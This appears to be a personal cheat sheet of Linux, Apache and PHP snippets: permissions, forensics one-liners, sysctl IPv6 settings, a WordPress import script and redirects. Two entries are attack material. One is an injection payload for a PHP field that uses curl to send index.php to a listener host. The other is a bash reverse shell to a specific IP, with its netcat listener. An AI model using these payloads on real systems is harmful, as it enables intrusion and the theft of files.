vpnwall-services

LINUX 101

De-greener chmod -R a-x,o-w,+X thatGreenFolderWithSubfolders/

Purge looped symlinks find . -follow -printf ""

vpnwall-services

FORENSICS 101

Find number of established connections on system :

netstat -an|grep ESTABLISHED|awk '{print $5}'|awk -F: '{print $1}'|sort|uniq -c|awk '{ printf("%s\t%s\t",$2,$1); for (i = 0; i < $1; i++) {printf("*")}; print ""}'

Trigger OOM killer without rebooting :

echo 1 > /proc/sys/kernel/sysrq;echo f > /proc/sysrq-trigger;echo 0 > /proc/sys/kernel/sysrq

vpnwall-services

# do a sysctl -p to reload configuration without rebooting
net.ipv6.conf.all.disable_ipv6 = 1
net.ipv6.conf.default.disable_ipv6 = 1
net.ipv6.conf.lo.disable_ipv6 = 1
net.ipv6.conf.eth0.disable_ipv6 = 1
net.ipv6.conf.eth1.disable_ipv6 = 1
net.ipv6.conf.ppp0.disable_ipv6 = 1
net.ipv6.conf.tun0.disable_ipv6 = 1

vpnwall-services

#!/bin/bash
for CATEGORY in $(ls customername-import)
do
	echo $CATEGORY
	for line in $(cat customername-import/$CATEGORY/list)
	do
		POST_ID=$(sudo -u www-data wp post create --post_author=11 --post_content="" --post_title=$line --post_category=$CATEGORY --porcelain)
		echo $POST_ID >> thislist
		echo customername-import/$CATEGORY/$line
		

vpnwall-services

#301 Redirects for .htaccess

#Redirect a single page:
Redirect 301 /pagename.php http://www.domain.com/pagename.html

#Redirect an entire site:
Redirect 301 / http://www.domain.com/

#Redirect an entire site to a sub folder
Redirect 301 / http://www.domain.com/subfolder/

vpnwall-services

<?php
	$file = '/tmp/file';
	$content = json_encode($data);
	file_put_contents($file, $content);
	$content = json_decode(file_get_contents($file), TRUE);
  
?>

vpnwall-services

TO INPUT IN PHP FIELD

0.0.0.0%0acurl -X POST -F file=@index.php http://mylistener:8000

vpnwall-services

# IE: force download of .xxx files
AddType application/octect-stream .xxx
<Files *.xxx>
  ForceType application/octet-stream
  Header Set Content-Disposition attachment
</Files>

vpnwall-services

REVERSE SHELLS

BASH

Target : bash -i >& /dev/tcp/176.31.166.251/4444 0>&1

Attacker : nc -lvp 4444

vpnwall-services

ORIGINAL URL = www.mycompany.com

NEW URL = www.myproduct.com

Create vhost for www.myproduct.com (pointing to ORIGINAL URL for folders (add CORS))

<VirtualHost *:80>
        ServerAdmin webmaster@localhost